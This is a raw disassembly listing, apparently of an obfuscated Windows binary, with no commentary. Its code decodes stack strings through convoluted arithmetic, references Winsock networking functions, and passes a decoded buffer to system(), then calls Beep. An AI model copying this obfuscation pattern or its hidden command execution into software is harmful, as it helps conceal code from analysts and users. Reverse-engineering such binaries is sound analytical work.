movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x140096b51
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x140096af0
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
jmp 0x140096a93
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400973ef
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140096a83
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096a83
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140097347
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097450
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097453
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097486
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400974ae
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
lea ecx, [r11 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
mov byte [rsp + r11 + 0x60], dil
inc r11
jmp 0x140096a83
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x55
cmp r8, 0x61
jb 0x140096eaa
movzx r9d, r11b
lea ecx, [r9 + 0x6e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 4]
jmp 0x1400973ef
lea ecx, [r11 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
cmp rbx, 0x1000
jae 0x140097328
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140097232
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x140096ecd
lea ecx, [r11 - 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x41
lea rax, [r8 + rbx]
cmp rax, 3
je 0x14009736b
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140097194
lea ecx, [r11 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
jmp 0x140096f0b
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400974ae
lea edx, [r11 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097486
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097453
lea edx, [r11 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097450
movzx r9d, r11b
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097347
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096a83
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140096a83
movzx r9d, r11b
lea edx, [r9 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400973ef
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400970e7
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
jmp 0x140096f53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009711a
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009713e
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x1400974ae
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140097162
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x140097450
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096f53
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096a83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400971bc
movzx r9d, r11b
lea ecx, [r9 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x45
jmp 0x1400973ef
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400971e6
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
dec r11
inc r11
jmp 0x140096a83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009720e
movzx r9d, r11b
lea ecx, [r9 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x140097347
cmp rbx, rcx
jne 0x140096f0b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x140097453
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097265
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097289
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140097486
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400972ad
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x140097453
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400972d2
movzx r9d, r11b
lea ecx, [r9 + 6]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2a
jmp 0x140097347
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400972fc
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r11
inc r11
jmp 0x140096a83
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140096ecd
movzx r9d, r11b
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400973ef
movzx r9d, r11b
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, byte [rsp + r11 + 0x60]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x35
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x73
add r10b, r9b
add r10b, dil
mov byte [rsp + r11 + 0x60], r10b
jmp 0x140097450
lea edx, [r11 + 0x22]
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140097486
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x39
jmp 0x1400974ae
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x25
jmp 0x140097453
lea ecx, [r11 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
jmp 0x140097450
movzx r9d, r11b
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
add r9b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x7d
add r10b, r9b
mov byte [rsp + r11 + 0x60], r10b
inc r8
dec r11
inc r11
jmp 0x140096a83
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
dec r11
inc r11
jmp 0x140096a83
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x49
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140096a83
lea rcx, [r11 + r13]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x5d
add dil, cl
lea edx, [r11 + 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x69
add cl, dl
movzx eax, cl
mov byte [rsp + r11 + 0x60], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rsp + r11 + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
lea rcx, [r11 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x71
movzx eax, byte [rsp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140096a83
add r11b, 0x21
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x19
jmp 0x140096a80
add r11b, 0x47
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0xf
jmp 0x140096a70
lea rdx, [rbp + 0x143829c]
jmp 0x140097568
lea rdx, [rbp + 0x802e89]
jmp 0x140097568
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.140040810
mov rcx, rax
lea rdx, [0x140149794]
call fcn.140040810
mov dword [rbp + 0x180], 0x70776070
mov word [rbp + 0x184], 0xc561
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x186], xmm0
mov byte [rbp + 0x196], al
movabs r15, 0x4c2b818892e5b4e0
movabs r13, 0x15308abc0447f220
movabs r12, 0xe4828499b8b11ea0
movzx edi, byte [rbp + 0x1e8]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r14
cmp r10, 0x17
jae 0x1400980be
movzx r9d, byte [rbp + r10 + 0x180]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400980b5
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009762c
lea rcx, [r10 + r15]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0x20
jmp 0x140097666
je 0x140098042
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097fb6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140097f5a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097f35
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140097eeb
cmp r8, r10
ja 0x1400980ac
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x140097694
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400976e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140097ceb
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097ec7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097d17
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140097d41
cmp rbx, rcx
je 0x140097d69
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140097db5
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140097c35
nop dword [rax]
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140097c12
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140097bf4
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140097bd3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097bb1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097b92
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140097b7d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140097b62
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140097b44
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140097b13
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400976f0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14009808f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009806f
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400978dd
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400978c2
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400978a7
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140097aca
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140097a7e
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140097a40
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140097a1a
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400976f0
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400979f0
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400979d5
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400979b7
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140097998
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140097983
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140097964
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140097940
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140097918
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400978fc
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400976f0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x5a]
jmp 0x1400976f0
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x1400976e0
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140097666
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400975f6
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
movzx r11d, r10b
jmp 0x140097f05
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400975e3
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x1400975e3
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx r11d, r10b
jmp 0x140097f78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x140097f9a
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140097f9d
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140097fd4
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097ffc
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
mov byte [rbp + r10 + 0x180], dil
inc r10
jmp 0x1400975e3
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
cmp r8, 0xa
jb 0x140097a30
movzx r11d, r10b
lea ecx, [r11 + 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 + 0x80]
jmp 0x140097f05
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x41
jae 0x140097e83
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140097de6
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097a56
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x140097ea4
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140097ce2
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
jmp 0x140097a8d
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140097ffc
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097fd4
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
jmp 0x140097f9d
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140097f9a
movzx r11d, r10b
lea ecx, [r11 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140097f78
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
dec r10
inc r10
jmp 0x1400975e3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x1400975e3
movzx r11d, r10b
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140097f05
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140097c5c
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140097ae4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097c92
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097cb6
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097f9a
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140097ae4
movzx r11d, r10b
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097f05
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097d0e
movzx r11d, r10b
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140097f05
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140097d38
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400975e3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140097d60
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140097f9a
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097d84
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x140097f9d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140097da8
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140097fd4
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140097a98
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097e1f
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140097e40
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
jmp 0x140097fd4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140097e5b
movzx r11d, r10b
lea edx, [r11 + 0x40]
mov ecx, 0x20
jmp 0x140097f67
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097a56
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x1400975e3
movzx r11d, r10b
movzx eax, r9b
and al, r10b
add al, al
movzx edi, byte [rbp + r10 + 0x180]
sub dil, al
add dil, r10b
jmp 0x140097f75
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x180]
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140097fd4
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
inc r8
dec r10
inc r10
jmp 0x1400975e3
movzx r11d, r10b
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
add r11b, 0x20
movzx eax, r11b
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x180], cl
inc r8
dec r10
inc r10
jmp 0x1400975e3
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400975e3
movzx r11d, r10b
lea edx, [r11 + 0x60]
mov ecx, 0x30
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x20
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x20
add r11b, r9b
add r11b, dil
mov byte [rbp + r10 + 0x180], r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400975e3
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x60
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x180], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x80
add cl, r9b
mov byte [rbp + r10 + 0x180], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 + 0x180]
add rax, r8
add r10, rax
inc r10
jmp 0x1400975e3
add r10b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400975e0
sub r10b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
jmp 0x1400975d0
lea rcx, [rbp + 0x1558800]
jmp 0x1400980c5
lea rcx, [rbp + 0xbb3ce0]
jmp 0x1400980c5
lea rcx, [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x26c
mov ecx, 0x140
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.1400620a0
call fcn.140060100
mov dword [rbp + 0xd0], 0x8b398d46
mov dword [rbp + 0xd4], 0x972a8936
mov dword [rbp + 0xd8], 0x933b9526
mov dword [rbp + 0xdc], 0x9f33912c
mov dword [rbp + 0xe0], 0x9b2e9d53
mov dword [rbp + 0xe4], 0x67cb9931
mov dword [rbp + 0xe8], 0x63de65d6
mov dword [rbp + 0xec], 0x6fb56195
mov dword [rbp + 0xf0], 0x6bd86dc5
mov dword [rbp + 0xf4], 0x778a6992
mov dword [rbp + 0xf8], 0x73ad7581
mov dword [rbp + 0xfc], 0x7fd771d8
mov dword [rbp + 0x100], 0x7bca7dcc
mov dword [rbp + 0x104], 0x47f479d1
mov dword [rbp + 0x108], 0x43b045ef
